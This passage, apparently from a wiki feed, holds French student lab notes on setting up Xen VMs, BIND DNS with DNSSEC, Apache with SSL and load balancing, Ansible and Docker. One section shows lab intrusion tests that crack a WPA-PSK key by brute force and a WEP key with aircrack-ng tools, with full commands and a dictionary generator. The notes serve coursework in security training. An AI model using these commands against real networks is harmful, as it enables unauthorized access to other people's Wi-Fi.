  a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis on redémarre Apache2:&lt;br /&gt;
  service apache2 restart&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier chlamydiae.conf de apache2:&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:443&amp;gt;&lt;br /&gt;
                  ServerName www.chlamydiae.site&lt;br /&gt;
                  ServerAlias chlamydiae.site&lt;br /&gt;
                  DocumentRoot /var/www/html/&lt;br /&gt;
                  SSLEngine on&lt;br /&gt;
                  SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt$&lt;br /&gt;
                  SSLCertificateKeyFile /etc/ssl/key/myserver.key&lt;br /&gt;
                  SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA$&lt;br /&gt;
                  SSLVerifyclient NONE&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.180:80&amp;gt;&lt;br /&gt;
          ServerName www.chlamydiae.site&lt;br /&gt;
          ServerAlias chlamydiae.site&lt;br /&gt;
          Redirect / https://www.chlamydiae.site&lt;br /&gt;
          ProxyPass &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer/&amp;quot;&lt;br /&gt;
          ProxyPassReverse &amp;quot;/&amp;quot; &amp;quot;balancer://ourbalancer&amp;quot;&lt;br /&gt;
          &amp;lt;Location &amp;quot;/balancer-manager&amp;quot;&amp;gt;&lt;br /&gt;
                  SetHandler balancer-manager&lt;br /&gt;
                  Require host 193.48.57.180&lt;br /&gt;
          &amp;lt;/Location&amp;gt;&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
  &lt;br /&gt;
  &amp;lt;Proxy &amp;quot;balancer://ourbalancer&amp;quot;&amp;gt;&lt;br /&gt;
          BalancerMember http://192.168.0.1:8004&lt;br /&gt;
          BalancerMember http://192.168.0.2:8004&lt;br /&gt;
          BalancerMember http://192.168.0.3:8004&lt;br /&gt;
          BalancerMember http://192.168.0.4:8004&lt;br /&gt;
          BalancerMember http://192.168.0.5:8004&lt;br /&gt;
          BalancerMember http://192.168.0.6:8004&lt;br /&gt;
          ProxySet lbmethod=byrequests&lt;br /&gt;
  &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On transfère le fichier etc/apache2/sites-available/chlamydiae.conf vers etc/apache2/sites-enabled/chlamydiae.conf.&lt;br /&gt;
&lt;br /&gt;
On recharge apache2:&lt;br /&gt;
  service apache2 reload&lt;br /&gt;
 &lt;br /&gt;
Le rapport d'état se trouve à l'URL:&lt;br /&gt;
&lt;br /&gt;
==Tests d’intrusion==&lt;br /&gt;
'''Cassage de mot de passe WPA-PSK par force brute'''&lt;br /&gt;
&lt;br /&gt;
Lors de la 2ème séance:&lt;br /&gt;
&lt;br /&gt;
Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.&lt;br /&gt;
&lt;br /&gt;
D'abord on vérifie que le Wi-Pi est connecté:&lt;br /&gt;
  ls usb&lt;br /&gt;
Ensuite on récupère le nom de notre interface:&lt;br /&gt;
  iwconfig&lt;br /&gt;
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande&lt;br /&gt;
  airmon-ng start wlx40a5ef0125e9&lt;br /&gt;
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:&lt;br /&gt;
  airodump-ng wlx40a5ef0125e9&lt;br /&gt;
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.&lt;br /&gt;
  airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:&lt;br /&gt;
&lt;br /&gt;
Celui en Python s’exécute en 39 s &lt;br /&gt;
  dictfile=open(&amp;quot;dict.txt&amp;quot;,&amp;quot;a&amp;quot;)&lt;br /&gt;
  for i in range(99999999):&lt;br /&gt;
    dictfile.write(str(i)+'\n')&lt;br /&gt;
  dictfile.close()&lt;br /&gt;
&lt;br /&gt;
Celui en C s’exécute en 7 s&lt;br /&gt;
  #include &amp;lt;stdlib.h&amp;gt;&lt;br /&gt;
  #include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
  int main() {&lt;br /&gt;
    FILE *f;&lt;br /&gt;
    f= fopen(&amp;quot;dictc.txt&amp;quot;, &amp;quot;a&amp;quot;);	&lt;br /&gt;
    for(int i=0;i&amp;lt;=99999999;i++) {&lt;br /&gt;
      fprintf(f, &amp;quot;%08d\n&amp;quot;, i);&lt;br /&gt;
    }&lt;br /&gt;
    fclose(f);&lt;br /&gt;
    return 0;&lt;br /&gt;
  }&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer le cassage à l'aide de:&lt;br /&gt;
  aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wpa-result.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Cassage de clef WEP d’un point d’accès Wifi'''&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:&lt;br /&gt;
  airodump-ng --encrypt xep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Comme précedémment avec le WPA on peut lancer la commande:&lt;br /&gt;
  airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:&lt;br /&gt;
  aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9&lt;br /&gt;
&lt;br /&gt;
Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:&lt;br /&gt;
  aircrack-ng Wep*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors le résultat suivant:&lt;br /&gt;
[[Fichier:ftzb-wep-result.png|600px|center]]&lt;/div&gt;</summary>
		<author><name>Zbriois</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51828</id>
		<title>TP sysres IMA5sc 2019/2020 G4</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2019/2020_G4&amp;diff=51828"/>
				<updated>2019-12-16T17:43:57Z</updated>
		
		<summary type="html">&lt;p&gt;Zbriois : /* Architecture générale de la ferme */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Installation des systèmes d’exploitation: machine virtuelle Xen==&lt;br /&gt;
'''Lors de la 1ère séance:'''&lt;br /&gt;
&lt;br /&gt;
Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.&lt;br /&gt;
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.&lt;br /&gt;
&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.polytech.fr:3128&lt;br /&gt;
  xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
Adresse MAC obtenue: 00:16:3E:83:27:97&lt;br /&gt;
&lt;br /&gt;
'''Lors de la 2ème séance:'''&lt;br /&gt;
&lt;br /&gt;
Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
  #&lt;br /&gt;
  # Configuration file for the Xen instance chlamydiae, created&lt;br /&gt;
  # by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.&lt;br /&gt;
  #&lt;br /&gt;
  #&lt;br /&gt;
  #  Kernel + memory size&lt;br /&gt;
  #&lt;br /&gt;
  kernel      = '/boot/vmlinuz-4.9.0-6-amd64'&lt;br /&gt;
  extra       = 'elevator=noop'&lt;br /&gt;
  ramdisk     = '/boot/initrd.img-4.9.0-6-amd64'&lt;br /&gt;
  &lt;br /&gt;
  vcpus       = '1'&lt;br /&gt;
  memory      = '256'&lt;br /&gt;
  #&lt;br /&gt;
  #  Disk device(s).&lt;br /&gt;
  #&lt;br /&gt;
  root        = '/dev/xvda2 ro'&lt;br /&gt;
  disk        = [&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',&lt;br /&gt;
                    'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',&lt;br /&gt;
                ]&lt;br /&gt;
  #    &lt;br /&gt;
  #  Hostname&lt;br /&gt;
  #&lt;br /&gt;
  name        = 'chlamydiae'&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Networking&lt;br /&gt;
  #&lt;br /&gt;
  dhcp        = 'dhcp'&lt;br /&gt;
  vif         = [ 'mac=00:16:3E:D0:18:F4' ]&lt;br /&gt;
  &lt;br /&gt;
  #&lt;br /&gt;
  #  Behaviour&lt;br /&gt;
  #&lt;br /&gt;
  on_poweroff = 'destroy'&lt;br /&gt;
  on_reboot   = 'restart'&lt;br /&gt;
  on_crash    = 'restart'&lt;br /&gt;
&lt;br /&gt;
==Architecture réseau==&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM&lt;br /&gt;
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.&lt;br /&gt;
&lt;br /&gt;
On reboot les VM:&lt;br /&gt;
  xl reboot chlamydiae&lt;br /&gt;
ou&lt;br /&gt;
  xl destroy chlamydiae&lt;br /&gt;
  xl create chlamydiae.cfg&lt;br /&gt;
&lt;br /&gt;
Pour se connecter a une VM:&lt;br /&gt;
  xl console chlamydiae&lt;br /&gt;
&lt;br /&gt;
Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:&lt;br /&gt;
  # The primary network interface&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   address 193.48.57.180&lt;br /&gt;
   netmask 255.255.255.240&lt;br /&gt;
&lt;br /&gt;
Puis ifup / ifdown de eth0.&lt;br /&gt;
&lt;br /&gt;
Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :&lt;br /&gt;
  #PermitRootLogin prohibit-password&lt;br /&gt;
par&lt;br /&gt;
  PermitRootLogin yes&lt;br /&gt;
Il faut ensuite rebooter la machine virtuelle.&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
On fait d'abord la demande de certificat sur Gandi.&lt;br /&gt;
&lt;br /&gt;
Ensuite pour la configuration du DNS:&lt;br /&gt;
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options&lt;br /&gt;
  dnssec-validation auto;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Sur Chlamydiae on installe bind9: &lt;br /&gt;
&lt;br /&gt;
   apt install bind9 bind9-host dnsutils&lt;br /&gt;
&lt;br /&gt;
Modification de la configuration de bind9 :&lt;br /&gt;
&lt;br /&gt;
On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant : &lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns.chlamydiae.site. root.chlamydiae.site (&lt;br /&gt;
 			3	; Serial&lt;br /&gt;
 			604800	; Refresh&lt;br /&gt;
 			86400	; Retry&lt;br /&gt;
 			2419200	; Expire&lt;br /&gt;
 			604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 	IN	NS	ns.chlamydiae.site.&lt;br /&gt;
 	IN	NS	ns6.gandi.net.&lt;br /&gt;
 @      IN      A       193.48.57.180&lt;br /&gt;
 ns	IN	A	193.48.57.180&lt;br /&gt;
 www	IN	A	193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.&lt;br /&gt;
&lt;br /&gt;
Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;chlamydiae.site&amp;quot; {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/chlamydiae.site&amp;quot;; &lt;br /&gt;
         allow-transfer {217.70.177.40;}; //dns de gandi &lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.&lt;br /&gt;
&lt;br /&gt;
On redémarre bind9 :&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
En cas d'erreur on a accès au log dans /var/log/daemon.log&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter: &lt;br /&gt;
  name : ns.chlamydiae.site&lt;br /&gt;
  IP address : 193.48.57.180&lt;br /&gt;
&lt;br /&gt;
C'est l'association du serveur DNS créé avec notre adresse IP:&lt;br /&gt;
&lt;br /&gt;
Changement des nameserver sur gandi.net : &lt;br /&gt;
  DNS 1: ns.chlamydiae.site&lt;br /&gt;
  DNS 2: ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Serveur Apache===&lt;br /&gt;
Création du dossier /var/www/www.chlamydiae.pw&lt;br /&gt;
&lt;br /&gt;
*''' Certification SSL :'''&lt;br /&gt;
&lt;br /&gt;
Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :&lt;br /&gt;
   openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr&lt;br /&gt;
&lt;br /&gt;
On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement. &lt;br /&gt;
&lt;br /&gt;
*'''Configuration Apache :'''&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf&lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:443&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 DocumentRoot /var/www/html/&lt;br /&gt;
                 CustomLog /var/log/apache2/secure_acces.log combined&lt;br /&gt;
 &lt;br /&gt;
                 SSLEngine on&lt;br /&gt;
                 SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt&lt;br /&gt;
                 SSLCertificateKeyFile /etc/ssl/private/hmyserver.key&lt;br /&gt;
                 SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem&lt;br /&gt;
                 SSLVerifyClient None&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Redirection automatique du port http vers le port https &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost 193.48.57.183:80&amp;gt;&lt;br /&gt;
                 ServerName www.chlamydiae.site&lt;br /&gt;
                 ServerAlias chlamydiae.site&lt;br /&gt;
                 Redirect / https://www.chlamydiae.site&lt;br /&gt;
  &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
==== DNSSEC ====&lt;br /&gt;
&lt;br /&gt;
Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options: &lt;br /&gt;
 dnssec-enable yes;&lt;br /&gt;
&lt;br /&gt;
Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.&lt;br /&gt;
Pour générer les clés  KSK on lance la commande suivante: &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site&lt;br /&gt;
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site&lt;br /&gt;
On renomme nos clefs avec des noms plus explicite : &lt;br /&gt;
 chlamydiae.site-ksk.key&lt;br /&gt;
 chlamydiae.site-ksk.private&lt;br /&gt;
 chlamydiae.site-zsk.key&lt;br /&gt;
 chlamydiae.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key&lt;br /&gt;
 $include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key&lt;br /&gt;
On signe les enregistrements de la zone en exécutant la  commande suivante (dans le répertoire chlamydiae.site-dnssec): &lt;br /&gt;
 dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que notre zone est signé.On  modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé : &lt;br /&gt;
 file &amp;quot;/etc/bind/db.hadess.space.signed&amp;quot;;&lt;br /&gt;
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.&lt;br /&gt;
&lt;br /&gt;
Enfin, on relance le service bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs Web==&lt;br /&gt;
====Architecture générale de la ferme====&lt;br /&gt;
On commence par créer une seconde machien virtuelle:&lt;br /&gt;
  ssh root@cordouan.insecserv.deule.net&lt;br /&gt;
  export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  export https_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
  xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force&lt;br /&gt;
&lt;br /&gt;
On peut suivre l'avancement en faisant:&lt;br /&gt;
  tail -f /var/log/xen-tools/private-chlamydiae.log&lt;br /&gt;
&lt;br /&gt;
Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :&lt;br /&gt;
Pour la première (chlamydiae):&lt;br /&gt;
&lt;br /&gt;
  vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
Pour la seconde:&lt;br /&gt;
  vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On augmente également la mémoire à 512M pour les deux.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans la chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
   address 192.168.0.14         # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Dans private-chlamydiae/etc/network/interfaces:&lt;br /&gt;
  auto eth0&lt;br /&gt;
  iface eth0 inet static&lt;br /&gt;
   gateway 192.168.0.14       # réseau de communication entre les 2 machines virtuelles&lt;br /&gt;
   address 192.168.0.4/24&lt;br /&gt;
 &lt;br /&gt;
Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.&lt;br /&gt;
&lt;br /&gt;
Pour faire la mascarade, sur chlamydiae:&lt;br /&gt;
  iptables -P FORWARD DROP&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24&lt;br /&gt;
  iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24&lt;br /&gt;
  iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24&lt;br /&gt;
  echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour rendre la configuration persistante:&lt;br /&gt;
  apt install iptables-persistent &amp;gt; Yes &amp;gt; Yes&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).&lt;br /&gt;
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:&lt;br /&gt;
  ---&lt;br /&gt;
  all:&lt;br /&gt;
    hosts:&lt;br /&gt;
      nous:&lt;br /&gt;
        ansible_host: 192.168.0.4&lt;br /&gt;
    children:&lt;br /&gt;
      serveurs-internes:&lt;br /&gt;
        hosts:&lt;br /&gt;
          192.168.0.[1:6]&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On crée notre clé, que l'on propage sur l'ensemble des serveurs private:&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh 192.168.0.1 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot;&lt;br /&gt;
&lt;br /&gt;
On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install lsb-release&lt;br /&gt;
      apt: &lt;br /&gt;
        update_cache=yes&lt;br /&gt;
        state=latest&lt;br /&gt;
        name =  { { item } }&lt;br /&gt;
      with_items:&lt;br /&gt;
      - lsb-release&lt;br /&gt;
    - name: test lsb release&lt;br /&gt;
      shell: 'lsb_release -d'&lt;br /&gt;
      register: ps&lt;br /&gt;
    - debug: var=ps.stdout_lines&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
On lance le playbook:&lt;br /&gt;
  ansible-playbook jeu-lsb-release.yml&lt;br /&gt;
&lt;br /&gt;
On obtient le résultat suivant:&lt;br /&gt;
[[Fichier:jeu-lsb-release1.png|600px|center]]&lt;br /&gt;
[[Fichier:jeu-lsb-release2.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
===Paramétrage des rôles===&lt;br /&gt;
Crée un dossier roles dans /root &lt;br /&gt;
 mkdir roles &lt;br /&gt;
&lt;br /&gt;
Créer dans le dossier roles un dossier common et un fichier common.yml&lt;br /&gt;
 mkdir common &amp;amp;&amp;amp; vim common.yml &lt;br /&gt;
&lt;br /&gt;
Dans le fichier Common.yml: &lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    tasks:&lt;br /&gt;
      - name: include common&lt;br /&gt;
        include_role:&lt;br /&gt;
          name: common&lt;br /&gt;
&lt;br /&gt;
Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.&lt;br /&gt;
&lt;br /&gt;
===== Motd =====&lt;br /&gt;
Dans le dossier tasks on crée un fichier main.yml:&lt;br /&gt;
  - name: Write on motd&lt;br /&gt;
    copy:&lt;br /&gt;
       dest: /etc/motd&lt;br /&gt;
       src: motd&lt;br /&gt;
&lt;br /&gt;
Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.&lt;br /&gt;
Ce fichier motd contiendra notre message.&lt;br /&gt;
&lt;br /&gt;
===== NTP =====&lt;br /&gt;
Pour le serveur de temps dans le fichier main.yml on ajoute: &lt;br /&gt;
  - name: install ntp&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntp&lt;br /&gt;
  - name: install ntpdate&lt;br /&gt;
    apt:&lt;br /&gt;
      name: ntpdate  &lt;br /&gt;
  - name: Copy over the NTP configuration&lt;br /&gt;
    copy: src=ntp.conf dest=/etc/ntp.conf&lt;br /&gt;
    tags: ntp&lt;br /&gt;
   - name: Stop ntp&lt;br /&gt;
     service: name=ntp state=stopped enabled=yes&lt;br /&gt;
     tags: ntpd                            &lt;br /&gt;
  - name: Sync time initialy&lt;br /&gt;
    shell: ntpdate ntp.polytech-lille.fr&lt;br /&gt;
    tags: ntp&lt;br /&gt;
  - name: Make sure NTP is started up&lt;br /&gt;
    service: name=ntp state=started enabled=yes&lt;br /&gt;
    tags: ntp&lt;br /&gt;
&lt;br /&gt;
Dans le dossier files on crée ntp.conf qui référence notre NTP:&lt;br /&gt;
  server ntp.polytech-lille.fr&lt;br /&gt;
&lt;br /&gt;
====Installation de docker====&lt;br /&gt;
On commence par installer le rôle docker dont on a besoin:&lt;br /&gt;
  ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)&lt;br /&gt;
&lt;br /&gt;
Puis on crée notre playbook:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: nous&lt;br /&gt;
    vars:&lt;br /&gt;
      - pip_install_packages:&lt;br /&gt;
        - name: docker&lt;br /&gt;
      - docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable&amp;quot;&lt;br /&gt;
    roles:&lt;br /&gt;
      - geerlingguy.pip&lt;br /&gt;
      - geerlingguy.docker&lt;br /&gt;
  ...&lt;br /&gt;
&lt;br /&gt;
Ça fonctionne, on obtient sur la machine principale:&lt;br /&gt;
[[Fichier:result_jeu_docker.png|600px|center]]&lt;br /&gt;
&lt;br /&gt;
Sur la machine secondaire, on voit bien que docker a été installé:&lt;br /&gt;
[[Fichier:result-jeu-docker-bis.png|300px|center]]&lt;br /&gt;
&lt;br /&gt;
====Création de votre conteneur====&lt;br /&gt;
On suit ce tutoriel:&lt;br /&gt;
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e&lt;br /&gt;
&lt;br /&gt;
Pour tester la partie docker indépendamment, sur la machine secondaire:&lt;br /&gt;
:- on crée notre index.html (basique)&lt;br /&gt;
:- on crée notre dockerfile:&lt;br /&gt;
  FROM centos:latest&lt;br /&gt;
  MAINTAINER NewstarCorporation&lt;br /&gt;
  RUN yum -y install httpd&lt;br /&gt;
  COPY index.html /var/www/html/&lt;br /&gt;
  CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]&lt;br /&gt;
  EXPOSE 80&lt;br /&gt;
&lt;br /&gt;
On crée l'image:&lt;br /&gt;
  docker build DockerFiles/ -t webserver:v1&lt;br /&gt;
&lt;br /&gt;
[[Fichier:result-httpd.png|400px|center]]&lt;br /&gt;
&lt;br /&gt;
Puis on la run:&lt;br /&gt;
  docker run -dit -p 1234:80 webserver:v1&lt;br /&gt;
&lt;br /&gt;
====Configuration de vos serveurs internes====&lt;br /&gt;
&lt;br /&gt;
Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible, on crée le fichier Yaml:&lt;br /&gt;
  ---&lt;br /&gt;
  - hosts: serveurs-internes&lt;br /&gt;
    tasks:&lt;br /&gt;
    - name: install rsync&lt;br /&gt;
      apt:&lt;br /&gt;
        state: latest&lt;br /&gt;
        name: 'rsync'&lt;br /&gt;
  &lt;br /&gt;
    - name: transfer files&lt;br /&gt;
      copy:&lt;br /&gt;
        src: DockerFiles&lt;br /&gt;
        dest: /tmp/gr4/&lt;br /&gt;
      register: copy_output&lt;br /&gt;
    - debug: var=copy_output&lt;br /&gt;
  &lt;br /&gt;
    - name: build Docker image from Dockerfile&lt;br /&gt;
      docker_image:&lt;br /&gt;
        tag: latest&lt;br /&gt;
        name: image-for-chlamydiae&lt;br /&gt;
        path: /tmp/gr4/DockerFiles&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: Create the container&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: present&lt;br /&gt;
  &lt;br /&gt;
    - name: check if container is running&lt;br /&gt;
      shell: 'docker ps'&lt;br /&gt;
      register: docker_ps&lt;br /&gt;
    - debug: var=docker_ps.stdout_lines&lt;br /&gt;
  &lt;br /&gt;
    - name: Last&lt;br /&gt;
      docker_container:&lt;br /&gt;
        name: container-chlamydiae&lt;br /&gt;
        image: image-for-chlamydiae&lt;br /&gt;
        state: started&lt;br /&gt;
        recreate: yes&lt;br /&gt;
        ports:&lt;br /&gt;
        - &amp;quot;8004:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Commandes pouvant être utiles mais qui semblent bloquer le processus si elles échouent:&lt;br /&gt;
  #  - name: Try to stop container&lt;br /&gt;
  #    docker_container:&lt;br /&gt;
  #      name: container-chlamydiae&lt;br /&gt;
